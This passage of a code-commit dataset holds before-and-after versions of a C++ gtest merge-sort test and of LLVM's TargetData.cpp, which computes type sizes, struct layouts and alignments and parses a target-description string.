}\n\n for (int i = 0 ; i < N ; i++)\n {\n EXPECT_NE(sorted_data[i], 0);\n }\n ASSERT_TRUE(VerifyIfAllNotNaN(sorted_data, N));\n ASSERT_TRUE(VerifyIfOrdered(sorted_data, N));\n ASSERT_TRUE(VerifySortedUnique(to_sort_data, sorted_data, N));\n\n delete[] to_sort_data;\n delete[] sorted_data;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream> \/\/ std::cout\n#include <stdlib.h> \/\/ rand()\n#include <time.h> \/\/ time()\n\n#include \"gtest\/gtest.h\"\n\n#include \"sorting.h\"\n#include \"printarray.h\"\n#include \"verifyarrays.h\"\n#include \"verifysortedarrays.h\"\n\n#define quiet\n\n\/\/ *********************************************************************\nTEST(EfficientSorts, MergeSortMultipleSizes)\n{\n const double to_sorts[] = {6.0, 5.0, 3.0, 1.0, 2.4, 4.0, 10.0, 7.0};\n\n for (int N = 1 ; N < 8 ; N++)\n {\n double *to_sort_data = new double[N];\n double *sorted_data = new double[N];\n\n \/\/ Initialize the array with random values between 1 and 100\n \/\/ NOTE: rand() is a terrible pseudo-random number generator (PRNG).\n \/\/ It is still used here for a simple testing task, but don't use it\n \/\/ for anything serious.\n srand(time(NULL));\n for (int i = 0 ; i < N ; i++)\n {\n to_sort_data[i] = rand() % 100 + 1;\n }\n for (int i = 0 ; i < N ; i++)\n {\n to_sort_data[i] = to_sorts[i];\n }\n\n memcpy(sorted_data, to_sort_data, N*sizeof(double));\n\n SORT_AND_VERIFY(to_sort_data, sorted_data, N, sorting::efficient::MergeSort, false);\n\n delete[] to_sort_data;\n delete[] sorted_data;\n }\n}\n\n\/\/ *********************************************************************\nTEST(EfficientSorts, MergeSortMultipleSizesRandom)\n{\n for (int N = 1 ; N < 100 ; N++)\n {\n double *to_sort_data = new double[N];\n double *sorted_data = new double[N];\n\n \/\/ Initialize the array with random values between 1 and 100\n \/\/ NOTE: rand() is a terrible pseudo-random number generator (PRNG).\n \/\/ It is still used here for a simple testing task, but don't use it\n \/\/ for anything serious.\n srand(time(NULL));\n for (int i = 0 ; i < N ; i++)\n {\n to_sort_data[i] = rand() % 100 + 1;\n }\n\n memcpy(sorted_data, to_sort_data, N*sizeof(double));\n\n SORT_AND_VERIFY(to_sort_data, sorted_data, N, sorting::efficient::MergeSort, false);\n\n delete[] to_sort_data;\n delete[] sorted_data;\n }\n}\n<commit_msg>No need to set random values if we set specific values<commit_after>#include <iostream> \/\/ std::cout\n#include <stdlib.h> \/\/ rand()\n#include <time.h> \/\/ time()\n\n#include \"gtest\/gtest.h\"\n\n#include \"sorting.h\"\n#include \"printarray.h\"\n#include \"verifyarrays.h\"\n#include \"verifysortedarrays.h\"\n\n#define quiet\n\n\/\/ *********************************************************************\nTEST(EfficientSorts, MergeSortMultipleSizes)\n{\n const double to_sorts[] = {6.0, 5.0, 3.0, 1.0, 2.4, 4.0, 10.0, 7.0};\n\n for (int N = 1 ; N < 8 ; N++)\n {\n double *to_sort_data = new double[N];\n double *sorted_data = new double[N];\n\n for (int i = 0 ; i < N ; i++)\n {\n to_sort_data[i] = to_sorts[i];\n }\n\n memcpy(sorted_data, to_sort_data, N*sizeof(double));\n\n SORT_AND_VERIFY(to_sort_data, sorted_data, N, sorting::efficient::MergeSort, false);\n\n delete[] to_sort_data;\n delete[] sorted_data;\n }\n}\n\n\/\/ *********************************************************************\nTEST(EfficientSorts, MergeSortMultipleSizesRandom)\n{\n for (int N = 1 ; N < 100 ; N++)\n {\n double *to_sort_data = new double[N];\n double *sorted_data = new double[N];\n\n \/\/ Initialize the array with random values between 1 and 100\n \/\/ NOTE: rand() is a terrible pseudo-random number generator (PRNG).\n \/\/ It is still used here for a simple testing task, but don't use it\n \/\/ for anything serious.\n srand(time(NULL));\n for (int i = 0 ; i < N ; i++)\n {\n to_sort_data[i] = rand() % 100 + 1;\n }\n\n memcpy(sorted_data, to_sort_data, N*sizeof(double));\n\n SORT_AND_VERIFY(to_sort_data, sorted_data, N, sorting::efficient::MergeSort, false);\n\n delete[] to_sort_data;\n delete[] sorted_data;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===-- TargetData.cpp - Data size & alignment routines --------------------==\/\/\n\/\/\n\/\/ This file defines target properties related to datatype size\/offset\/alignment\n\/\/ information. It uses lazy annotations to cache information about how \n\/\/ structure types are laid out and used.\n\/\/\n\/\/ This structure should be created once, filled in if the defaults are not\n\/\/ correct and then passed around by const&. None of the members functions\n\/\/ require modification to the object.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Target\/TargetData.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/Constants.h\"\n\n\/\/ Handle the Pass registration stuff necessary to use TargetData's.\nnamespace {\n \/\/ Register the default SparcV9 implementation...\n RegisterPass<TargetData> X(\"targetdata\", \"Target Data Layout\");\n}\n\n\nstatic inline void getTypeInfo(const Type *Ty, const TargetData *TD,\n\t\t\t uint64_t &Size, unsigned char &Alignment);\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Support for StructLayout Annotation\n\/\/===----------------------------------------------------------------------===\/\/\n\nStructLayout::StructLayout(const StructType *ST, const TargetData &TD) \n : Annotation(TD.getStructLayoutAID()) {\n StructAlignment = 0;\n StructSize = 0;\n\n \/\/ Loop over each of the elements, placing them in memory...\n for (StructType::ElementTypes::const_iterator\n\t TI = ST->getElementTypes().begin(), \n\t TE = ST->getElementTypes().end(); TI != TE; ++TI) {\n const Type *Ty = *TI;\n unsigned char A;\n unsigned TyAlign;\n uint64_t TySize;\n getTypeInfo(Ty, &TD, TySize, A);\n TyAlign = A;\n\n \/\/ Add padding if necessary to make the data element aligned properly...\n if (StructSize % TyAlign != 0)\n StructSize = (StructSize\/TyAlign + 1) * TyAlign; \/\/ Add padding...\n\n \/\/ Keep track of maximum alignment constraint\n StructAlignment = std::max(TyAlign, StructAlignment);\n\n MemberOffsets.push_back(StructSize);\n StructSize += TySize; \/\/ Consume space for this data item\n }\n\n \/\/ Empty structures have alignment of 1 byte.\n if (StructAlignment == 0) StructAlignment = 1;\n\n \/\/ Add padding to the end of the struct so that it could be put in an array\n \/\/ and all array elements would be aligned correctly.\n if (StructSize % StructAlignment != 0)\n StructSize = (StructSize\/StructAlignment + 1) * StructAlignment;\n}\n\nAnnotation *TargetData::TypeAnFactory(AnnotationID AID, const Annotable *T,\n\t\t\t\t void *D) {\n const TargetData &TD = *(const TargetData*)D;\n assert(AID == TD.AID && \"Target data annotation ID mismatch!\");\n const Type *Ty = cast<Type>((const Value *)T);\n assert(isa<StructType>(Ty) && \n\t \"Can only create StructLayout annotation on structs!\");\n return new StructLayout(cast<StructType>(Ty), TD);\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ TargetData Class Implementation\n\/\/===----------------------------------------------------------------------===\/\/\n\nTargetData::TargetData(const std::string &TargetName,\n bool isLittleEndian, unsigned char PtrSize,\n unsigned char PtrAl, unsigned char DoubleAl,\n unsigned char FloatAl, unsigned char LongAl, \n unsigned char IntAl, unsigned char ShortAl,\n unsigned char ByteAl)\n : AID(AnnotationManager::getID(\"TargetData::\" + TargetName)) {\n AnnotationManager::registerAnnotationFactory(AID, TypeAnFactory, this);\n\n \/\/ If this assert triggers, a pass \"required\" TargetData information, but the\n \/\/ top level tool did not provide once for it. We do not want to default\n \/\/ construct, or else we might end up using a bad endianness or pointer size!\n \/\/\n assert(!TargetName.empty() &&\n \"ERROR: Tool did not specify a target data to use!\");\n\n LittleEndian = isLittleEndian;\n PointerSize = PtrSize;\n PointerAlignment = PtrAl;\n DoubleAlignment = DoubleAl;\n assert(DoubleAlignment == PtrAl &&\n \"Double alignment and pointer alignment agree for now!\");\n FloatAlignment = FloatAl;\n LongAlignment = LongAl;\n IntAlignment = IntAl;\n ShortAlignment = ShortAl;\n ByteAlignment = ByteAl;\n}\n\nTargetData::TargetData(const std::string &ToolName, const Module *M)\n : AID(AnnotationManager::getID(\"TargetData::\" + ToolName)) {\n AnnotationManager::registerAnnotationFactory(AID, TypeAnFactory, this);\n\n LittleEndian = M->isLittleEndian();\n PointerSize = M->has32BitPointers() ? 4 : 8;\n PointerAlignment = PointerSize;\n DoubleAlignment = PointerSize;\n FloatAlignment = 4;\n LongAlignment = 8;\n IntAlignment = 4;\n ShortAlignment = 2;\n ByteAlignment = 1;\n}\n\nTargetData::~TargetData() {\n AnnotationManager::registerAnnotationFactory(AID, 0); \/\/ Deregister factory\n}\n\nstatic inline void getTypeInfo(const Type *Ty, const TargetData *TD,\n\t\t\t uint64_t &Size, unsigned char &Alignment) {\n assert(Ty->isSized() && \"Cannot getTypeInfo() on a type that is unsized!\");\n switch (Ty->getPrimitiveID()) {\n case Type::VoidTyID:\n case Type::BoolTyID:\n case Type::UByteTyID:\n case Type::SByteTyID: Size = 1; Alignment = TD->getByteAlignment(); return;\n case Type::UShortTyID:\n case Type::ShortTyID: Size = 2; Alignment = TD->getShortAlignment(); return;\n case Type::UIntTyID:\n case Type::IntTyID: Size = 4; Alignment = TD->getIntAlignment(); return;\n case Type::ULongTyID:\n case Type::LongTyID: Size = 8; Alignment = TD->getLongAlignment(); return;\n case Type::FloatTyID: Size = 4; Alignment = TD->getFloatAlignment(); return;\n case Type::DoubleTyID: Size = 8; Alignment = TD->getDoubleAlignment(); return;\n case Type::LabelTyID:\n case Type::PointerTyID:\n Size = TD->getPointerSize(); Alignment = TD->getPointerAlignment();\n return;\n case Type::ArrayTyID: {\n const ArrayType *ATy = (const ArrayType *)Ty;\n getTypeInfo(ATy->getElementType(), TD, Size, Alignment);\n Size *= ATy->getNumElements();\n return;\n }\n case Type::StructTyID: {\n \/\/ Get the layout annotation... which is lazily created on demand.\n const StructLayout *Layout = TD->getStructLayout((const StructType*)Ty);\n Size = Layout->StructSize; Alignment = Layout->StructAlignment;\n return;\n }\n \n case Type::TypeTyID:\n default:\n assert(0 && \"Bad type for getTypeInfo!!!\");\n return;\n }\n}\n\nuint64_t TargetData::getTypeSize(const Type *Ty) const {\n uint64_t Size;\n unsigned char Align;\n getTypeInfo(Ty, this, Size, Align);\n return Size;\n}\n\nunsigned char TargetData::getTypeAlignment(const Type *Ty) const {\n uint64_t Size;\n unsigned char Align;\n getTypeInfo(Ty, this, Size, Align);\n return Align;\n}\n\nuint64_t TargetData::getIndexedOffset(const Type *ptrTy,\n\t\t\t\t const std::vector<Value*> &Idx) const {\n const Type *Ty = ptrTy;\n assert(isa<PointerType>(Ty) && \"Illegal argument for getIndexedOffset()\");\n uint64_t Result = 0;\n\n for (unsigned CurIDX = 0; CurIDX != Idx.size(); ++CurIDX) {\n if (Idx[CurIDX]->getType() == Type::LongTy) {\n \/\/ Update Ty to refer to current element\n Ty = cast<SequentialType>(Ty)->getElementType();\n\n \/\/ Get the array index and the size of each array element.\n int64_t arrayIdx = cast<ConstantSInt>(Idx[CurIDX])->getValue();\n Result += arrayIdx * (int64_t)getTypeSize(Ty);\n } else {\n const StructType *STy = cast<StructType>(Ty);\n assert(Idx[CurIDX]->getType() == Type::UByteTy && \"Illegal struct idx\");\n unsigned FieldNo = cast<ConstantUInt>(Idx[CurIDX])->getValue();\n\n \/\/ Get structure layout information...\n const StructLayout *Layout = getStructLayout(STy);\n\n \/\/ Add in the offset, as calculated by the structure layout info...\n assert(FieldNo < Layout->MemberOffsets.size() &&\"FieldNo out of range!\");\n Result += Layout->MemberOffsets[FieldNo];\n\n \/\/ Update Ty to refer to current element\n Ty = STy->getElementTypes()[FieldNo];\n }\n }\n\n return Result;\n}\n<commit_msg>Add support for 'any' pointer size and endianness<commit_after>\/\/===-- TargetData.cpp - Data size & alignment routines --------------------==\/\/\n\/\/\n\/\/ This file defines target properties related to datatype size\/offset\/alignment\n\/\/ information. It uses lazy annotations to cache information about how \n\/\/ structure types are laid out and used.\n\/\/\n\/\/ This structure should be created once, filled in if the defaults are not\n\/\/ correct and then passed around by const&. None of the members functions\n\/\/ require modification to the object.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Target\/TargetData.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/Constants.h\"\n\n\/\/ Handle the Pass registration stuff necessary to use TargetData's.\nnamespace {\n \/\/ Register the default SparcV9 implementation...\n RegisterPass<TargetData> X(\"targetdata\", \"Target Data Layout\");\n}\n\n\nstatic inline void getTypeInfo(const Type *Ty, const TargetData *TD,\n\t\t\t uint64_t &Size, unsigned char &Alignment);\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Support for StructLayout Annotation\n\/\/===----------------------------------------------------------------------===\/\/\n\nStructLayout::StructLayout(const StructType *ST, const TargetData &TD) \n : Annotation(TD.getStructLayoutAID()) {\n StructAlignment = 0;\n StructSize = 0;\n\n \/\/ Loop over each of the elements, placing them in memory...\n for (StructType::ElementTypes::const_iterator\n\t TI = ST->getElementTypes().begin(), \n\t TE = ST->getElementTypes().end(); TI != TE; ++TI) {\n const Type *Ty = *TI;\n unsigned char A;\n unsigned TyAlign;\n uint64_t TySize;\n getTypeInfo(Ty, &TD, TySize, A);\n TyAlign = A;\n\n \/\/ Add padding if necessary to make the data element aligned properly...\n if (StructSize % TyAlign != 0)\n StructSize = (StructSize\/TyAlign + 1) * TyAlign; \/\/ Add padding...\n\n \/\/ Keep track of maximum alignment constraint\n StructAlignment = std::max(TyAlign, StructAlignment);\n\n MemberOffsets.push_back(StructSize);\n StructSize += TySize; \/\/ Consume space for this data item\n }\n\n \/\/ Empty structures have alignment of 1 byte.\n if (StructAlignment == 0) StructAlignment = 1;\n\n \/\/ Add padding to the end of the struct so that it could be put in an array\n \/\/ and all array elements would be aligned correctly.\n if (StructSize % StructAlignment != 0)\n StructSize = (StructSize\/StructAlignment + 1) * StructAlignment;\n}\n\nAnnotation *TargetData::TypeAnFactory(AnnotationID AID, const Annotable *T,\n\t\t\t\t void *D) {\n const TargetData &TD = *(const TargetData*)D;\n assert(AID == TD.AID && \"Target data annotation ID mismatch!\");\n const Type *Ty = cast<Type>((const Value *)T);\n assert(isa<StructType>(Ty) && \n\t \"Can only create StructLayout annotation on structs!\");\n return new StructLayout(cast<StructType>(Ty), TD);\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ TargetData Class Implementation\n\/\/===----------------------------------------------------------------------===\/\/\n\nTargetData::TargetData(const std::string &TargetName,\n bool isLittleEndian, unsigned char PtrSize,\n unsigned char PtrAl, unsigned char DoubleAl,\n unsigned char FloatAl, unsigned char LongAl, \n unsigned char IntAl, unsigned char ShortAl,\n unsigned char ByteAl)\n : AID(AnnotationManager::getID(\"TargetData::\" + TargetName)) {\n AnnotationManager::registerAnnotationFactory(AID, TypeAnFactory, this);\n\n \/\/ If this assert triggers, a pass \"required\" TargetData information, but the\n \/\/ top level tool did not provide once for it. We do not want to default\n \/\/ construct, or else we might end up using a bad endianness or pointer size!\n \/\/\n assert(!TargetName.empty() &&\n \"ERROR: Tool did not specify a target data to use!\");\n\n LittleEndian = isLittleEndian;\n PointerSize = PtrSize;\n PointerAlignment = PtrAl;\n DoubleAlignment = DoubleAl;\n assert(DoubleAlignment == PtrAl &&\n \"Double alignment and pointer alignment agree for now!\");\n FloatAlignment = FloatAl;\n LongAlignment = LongAl;\n IntAlignment = IntAl;\n ShortAlignment = ShortAl;\n ByteAlignment = ByteAl;\n}\n\nTargetData::TargetData(const std::string &ToolName, const Module *M)\n : AID(AnnotationManager::getID(\"TargetData::\" + ToolName)) {\n AnnotationManager::registerAnnotationFactory(AID, TypeAnFactory, this);\n\n LittleEndian = M->getEndianness() != Module::BigEndian;\n PointerSize = M->getPointerSize() != Module::Pointer64 ? 4 : 8;\n PointerAlignment = PointerSize;\n DoubleAlignment = PointerSize;\n FloatAlignment = 4;\n LongAlignment = 8;\n IntAlignment = 4;\n ShortAlignment = 2;\n ByteAlignment = 1;\n}\n\nTargetData::~TargetData() {\n AnnotationManager::registerAnnotationFactory(AID, 0); \/\/ Deregister factory\n}\n\nstatic inline void getTypeInfo(const Type *Ty, const TargetData *TD,\n\t\t\t uint64_t &Size, unsigned char &Alignment) {\n assert(Ty->isSized() && \"Cannot getTypeInfo() on a type that is unsized!\");\n switch (Ty->getPrimitiveID()) {\n case Type::VoidTyID:\n case Type::BoolTyID:\n case Type::UByteTyID:\n case Type::SByteTyID: Size = 1; Alignment = TD->getByteAlignment(); return;\n case Type::UShortTyID:\n case Type::ShortTyID: Size = 2; Alignment = TD->getShortAlignment(); return;\n case Type::UIntTyID:\n case Type::IntTyID: Size = 4; Alignment = TD->getIntAlignment(); return;\n case Type::ULongTyID:\n case Type::LongTyID: Size = 8; Alignment = TD->getLongAlignment(); return;\n case Type::FloatTyID: Size = 4; Alignment = TD->getFloatAlignment(); return;\n case Type::DoubleTyID: Size = 8; Alignment = TD->getDoubleAlignment(); return;\n case Type::LabelTyID:\n case Type::PointerTyID:\n Size = TD->getPointerSize(); Alignment = TD->getPointerAlignment();\n return;\n case Type::ArrayTyID: {\n const ArrayType *ATy = (const ArrayType *)Ty;\n getTypeInfo(ATy->getElementType(), TD, Size, Alignment);\n Size *= ATy->getNumElements();\n return;\n }\n case Type::StructTyID: {\n \/\/ Get the layout annotation... which is lazily created on demand.\n const StructLayout *Layout = TD->getStructLayout((const StructType*)Ty);\n Size = Layout->StructSize; Alignment = Layout->StructAlignment;\n return;\n }\n \n case Type::TypeTyID:\n default:\n assert(0 && \"Bad type for getTypeInfo!!!\");\n return;\n }\n}\n\nuint64_t TargetData::getTypeSize(const Type *Ty) const {\n uint64_t Size;\n unsigned char Align;\n getTypeInfo(Ty, this, Size, Align);\n return Size;\n}\n\nunsigned char TargetData::getTypeAlignment(const Type *Ty) const {\n uint64_t Size;\n unsigned char Align;\n getTypeInfo(Ty, this, Size, Align);\n return Align;\n}\n\nuint64_t TargetData::getIndexedOffset(const Type *ptrTy,\n\t\t\t\t const std::vector<Value*> &Idx) const {\n const Type *Ty = ptrTy;\n assert(isa<PointerType>(Ty) && \"Illegal argument for getIndexedOffset()\");\n uint64_t Result = 0;\n\n for (unsigned CurIDX = 0; CurIDX != Idx.size(); ++CurIDX) {\n if (Idx[CurIDX]->getType() == Type::LongTy) {\n \/\/ Update Ty to refer to current element\n Ty = cast<SequentialType>(Ty)->getElementType();\n\n \/\/ Get the array index and the size of each array element.\n int64_t arrayIdx = cast<ConstantSInt>(Idx[CurIDX])->getValue();\n Result += arrayIdx * (int64_t)getTypeSize(Ty);\n } else {\n const StructType *STy = cast<StructType>(Ty);\n assert(Idx[CurIDX]->getType() == Type::UByteTy && \"Illegal struct idx\");\n unsigned FieldNo = cast<ConstantUInt>(Idx[CurIDX])->getValue();\n\n \/\/ Get structure layout information...\n const StructLayout *Layout = getStructLayout(STy);\n\n \/\/ Add in the offset, as calculated by the structure layout info...\n assert(FieldNo < Layout->MemberOffsets.size() &&\"FieldNo out of range!\");\n Result += Layout->MemberOffsets[FieldNo];\n\n \/\/ Update Ty to refer to current element\n Ty = STy->getElementTypes()[FieldNo];\n }\n }\n\n return Result;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===-- TargetData.cpp - Data size & alignment routines --------------------==\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines target properties related to datatype size\/offset\/alignment\n\/\/ information.\n\/\/\n\/\/ This structure should be created once, filled in if the defaults are not\n\/\/ correct and then passed around by const&. None of the members functions\n\/\/ require modification to the object.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Target\/TargetData.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/Constants.h\"\n#include \"llvm\/Support\/GetElementPtrTypeIterator.h\"\n#include \"llvm\/Support\/MathExtras.h\"\n#include \"llvm\/ADT\/StringExtras.h\"\n#include <algorithm>\n#include <cstdlib>\n#include <sstream>\nusing namespace llvm;\n\n\/\/ Handle the Pass registration stuff necessary to use TargetData's.\nnamespace {\n \/\/ Register the default SparcV9 implementation...\n RegisterPass<TargetData> X(\"targetdata\", \"Target Data Layout\");\n}\n\nstatic inline void getTypeInfo(const Type *Ty, const TargetData *TD,\n uint64_t &Size, unsigned char &Alignment);\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Support for StructLayout\n\/\/===----------------------------------------------------------------------===\/\/\n\nStructLayout::StructLayout(const StructType *ST, const TargetData &TD) {\n StructAlignment = 0;\n StructSize = 0;\n\n \/\/ Loop over each of the elements, placing them in memory...\n for (StructType::element_iterator TI = ST->element_begin(),\n TE = ST->element_end(); TI != TE; ++TI) {\n const Type *Ty = *TI;\n unsigned char A;\n unsigned TyAlign;\n uint64_t TySize;\n getTypeInfo(Ty, &TD, TySize, A);\n TyAlign = A;\n\n \/\/ Add padding if necessary to make the data element aligned properly...\n if (StructSize % TyAlign != 0)\n StructSize = (StructSize\/TyAlign + 1) * TyAlign; \/\/ Add padding...\n\n \/\/ Keep track of maximum alignment constraint\n StructAlignment = std::max(TyAlign, StructAlignment);\n\n MemberOffsets.push_back(StructSize);\n StructSize += TySize; \/\/ Consume space for this data item\n }\n\n \/\/ Empty structures have alignment of 1 byte.\n if (StructAlignment == 0) StructAlignment = 1;\n\n \/\/ Add padding to the end of the struct so that it could be put in an array\n \/\/ and all array elements would be aligned correctly.\n if (StructSize % StructAlignment != 0)\n StructSize = (StructSize\/StructAlignment + 1) * StructAlignment;\n}\n\n\n\/\/\/ getElementContainingOffset - Given a valid offset into the structure,\n\/\/\/ return the structure index that contains it.\nunsigned StructLayout::getElementContainingOffset(uint64_t Offset) const {\n std::vector<uint64_t>::const_iterator SI =\n std::upper_bound(MemberOffsets.begin(), MemberOffsets.end(),\n Offset);\n assert(SI != MemberOffsets.begin() && \"Offset not in structure type!\");\n --SI;\n assert(*SI <= Offset && \"upper_bound didn't work\");\n assert((SI == MemberOffsets.begin() || *(SI-1) < Offset) &&\n (SI+1 == MemberOffsets.end() || *(SI+1) > Offset) &&\n \"Upper bound didn't work!\");\n return SI-MemberOffsets.begin();\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ TargetData Class Implementation\n\/\/===----------------------------------------------------------------------===\/\/\n\nTargetData::TargetData(const std::string &TargetName,\n bool isLittleEndian, unsigned char PtrSize,\n unsigned char PtrAl, unsigned char DoubleAl,\n unsigned char FloatAl, unsigned char LongAl,\n unsigned char IntAl, unsigned char ShortAl,\n unsigned char ByteAl, unsigned char BoolAl) {\n\n \/\/ If this assert triggers, a pass \"required\" TargetData information, but the\n \/\/ top level tool did not provide one for it. We do not want to default\n \/\/ construct, or else we might end up using a bad endianness or pointer size!\n \/\/\n assert(!TargetName.empty() &&\n \"ERROR: Tool did not specify a target data to use!\");\n\n LittleEndian = isLittleEndian;\n PointerSize = PtrSize;\n PointerAlignment = PtrAl;\n DoubleAlignment = DoubleAl;\n FloatAlignment = FloatAl;\n LongAlignment = LongAl;\n IntAlignment = IntAl;\n ShortAlignment = ShortAl;\n ByteAlignment = ByteAl;\n BoolAlignment = BoolAl;\n}\n\nTargetData::TargetData(const std::string &TargetName,\n const std::string &TargetDescription) {\n std::string temp = TargetDescription;\n \n LittleEndian = false;\n PointerSize = 8;\n PointerAlignment = 8;\n DoubleAlignment = 8;\n FloatAlignment = 4;\n LongAlignment = 8;\n IntAlignment = 4;\n ShortAlignment = 2;\n ByteAlignment = 1;\n BoolAlignment = 1;\n \n while (temp.length() > 0) {\n std::string token = getToken(temp, \"-\");\n \n switch(token[0]) {\n case 'E':\n LittleEndian = false;\n break;\n case 'e':\n LittleEndian = true;\n break;\n case 'p':\n PointerSize = atoi(getToken(token,\":\").c_str()) \/ 8;\n PointerAlignment = atoi(getToken(token,\":\").c_str()) \/ 8;\n break;\n case 'd':\n token = getToken(token,\":\"); \/\/Ignore the size\n DoubleAlignment = atoi(getToken(token,\":\").c_str()) \/ 8;\n break;\n case 'f':\n token = getToken(token, \":\"); \/\/Ignore the size\n FloatAlignment = atoi(getToken(token, \":\").c_str()) \/ 8;\n break;\n case 'l':\n token = getToken(token, \":\"); \/\/Ignore the size\n LongAlignment = atoi(getToken(token, \":\").c_str()) \/ 8;\n break;\n case 'i':\n token = getToken(token, \":\"); \/\/Ignore the size\n IntAlignment = atoi(getToken(token, \":\").c_str()) \/ 8;\n break;\n case 's':\n token = getToken(token, \":\"); \/\/Ignore the size\n ShortAlignment = atoi(getToken(token, \":\").c_str()) \/ 8;\n break;\n case 'b':\n token = getToken(token, \":\"); \/\/Ignore the size\n ByteAlignment = atoi(getToken(token, \":\").c_str()) \/ 8;\n break;\n case 'B':\n token = getToken(token, \":\"); \/\/Ignore the size\n BoolAlignment = atoi(getToken(token, \":\").c_str()) \/ 8;\n break;\n default:\n break;\n }\n }\n}\n\nTargetData::TargetData(const std::string &ToolName, const Module *M) {\n LittleEndian = M->getEndianness() != Module::BigEndian;\n PointerSize = M->getPointerSize() != Module::Pointer64 ? 4 : 8;\n PointerAlignment = PointerSize;\n DoubleAlignment = PointerSize;\n FloatAlignment = 4;\n LongAlignment = PointerSize;\n IntAlignment = 4;\n ShortAlignment = 2;\n ByteAlignment = 1;\n BoolAlignment = 1;\n}\n\n\/\/\/ Layouts - The lazy cache of structure layout information maintained by\n\/\/\/ TargetData.\n\/\/\/\nstatic std::map<std::pair<const TargetData*,const StructType*>,\n StructLayout> *Layouts = 0;\n\n\nTargetData::~TargetData() {\n if (Layouts) {\n \/\/ Remove any layouts for this TD.\n std::map<std::pair<const TargetData*,\n const StructType*>, StructLayout>::iterator\n I = Layouts->lower_bound(std::make_pair(this, (const StructType*)0));\n while (I != Layouts->end() && I->first.first == this)\n Layouts->erase(I++);\n if (Layouts->empty()) {\n delete Layouts;\n Layouts = 0;\n }\n }\n}\n\nstd::string TargetData::getStringRepresentation() const {\n std::stringstream repr;\n \n if (LittleEndian)\n repr << \"e\";\n else\n repr << \"E\";\n \n repr << \"-p:\" << (PointerSize * 8) << \":\" << (PointerAlignment * 8);\n repr << \"-d:64:\" << (DoubleAlignment * 8);\n repr << \"-f:32:\" << (FloatAlignment * 8);\n repr << \"-l:64:\" << (LongAlignment * 8);\n repr << \"-i:32:\" << (IntAlignment * 8);\n repr << \"-s:16:\" << (ShortAlignment * 8);\n repr << \"-b:8:\" << (ByteAlignment * 8);\n repr << \"-B:8:\" << (BoolAlignment * 8);\n \n return repr.str();\n}\n\nconst StructLayout *TargetData::getStructLayout(const StructType *Ty) const {\n if (Layouts == 0)\n Layouts = new std::map<std::pair<const TargetData*,const StructType*>,\n StructLayout>();\n std::map<std::pair<const TargetData*,const StructType*>,\n StructLayout>::iterator\n I = Layouts->lower_bound(std::make_pair(this, Ty));\n if (I != Layouts->end() && I->first.first == this && I->first.second == Ty)\n return &I->second;\n else {\n return &Layouts->insert(I, std::make_pair(std::make_pair(this, Ty),\n StructLayout(Ty, *this)))->second;\n }\n}\n\n\/\/\/ InvalidateStructLayoutInfo - TargetData speculatively caches StructLayout\n\/\/\/ objects. If a TargetData object is alive when types are being refined and\n\/\/\/ removed, this method must be called whenever a StructType is removed to\n\/\/\/ avoid a dangling pointer in this cache.\nvoid TargetData::InvalidateStructLayoutInfo(const StructType *Ty) const {\n if (!Layouts) return; \/\/ No cache.\n\n std::map<std::pair<const TargetData*,const StructType*>,\n StructLayout>::iterator I = Layouts->find(std::make_pair(this, Ty));\n if (I != Layouts->end())\n Layouts->erase(I);\n}\n\n\n\nstatic inline void getTypeInfo(const Type *Ty, const TargetData *TD,\n uint64_t &Size, unsigned char &Alignment) {\n assert(Ty->isSized() && \"Cannot getTypeInfo() on a type that is unsized!\");\n switch (Ty->getTypeID()) {\n case Type::BoolTyID: Size = 1; Alignment = TD->getBoolAlignment(); return;\n case Type::VoidTyID:\n case Type::UByteTyID:\n case Type::SByteTyID: Size = 1; Alignment = TD->getByteAlignment(); return;\n case Type::UShortTyID:\n case Type::ShortTyID: Size = 2; Alignment = TD->getShortAlignment(); return;\n case Type::UIntTyID:\n case Type::IntTyID: Size = 4; Alignment = TD->getIntAlignment(); return;\n case Type::ULongTyID:\n case Type::LongTyID: Size = 8; Alignment = TD->getLongAlignment(); return;\n case Type::FloatTyID: Size = 4; Alignment = TD->getFloatAlignment(); return;\n case Type::DoubleTyID: Size = 8; Alignment = TD->getDoubleAlignment(); return;\n case Type::LabelTyID:\n case Type::PointerTyID:\n Size = TD->getPointerSize(); Alignment = TD->getPointerAlignment();\n return;\n case Type::ArrayTyID: {\n const ArrayType *ATy = cast<ArrayType>(Ty);\n getTypeInfo(ATy->getElementType(), TD, Size, Alignment);\n unsigned AlignedSize = (Size + Alignment - 1)\/Alignment*Alignment;\n Size = AlignedSize*ATy->getNumElements();\n return;\n }\n case Type::PackedTyID: {\n const PackedType *PTy = cast<PackedType>(Ty);\n getTypeInfo(PTy->getElementType(), TD, Size, Alignment);\n unsigned AlignedSize = (Size + Alignment - 1)\/Alignment*Alignment;\n Size = AlignedSize*PTy->getNumElements();\n \/\/ FIXME: The alignments of specific packed types are target dependent.\n \/\/ For now, just set it to be equal to Size.\n Alignment = Size;\n return;\n }\n case Type::StructTyID: {\n \/\/ Get the layout annotation... which is lazily created on demand.\n const StructLayout *Layout = TD->getStructLayout(cast<StructType>(Ty));\n Size = Layout->StructSize; Alignment = Layout->StructAlignment;\n return;\n }\n\n default:\n assert(0 && \"Bad type for getTypeInfo!!!\");\n return;\n }\n}\n\nuint64_t 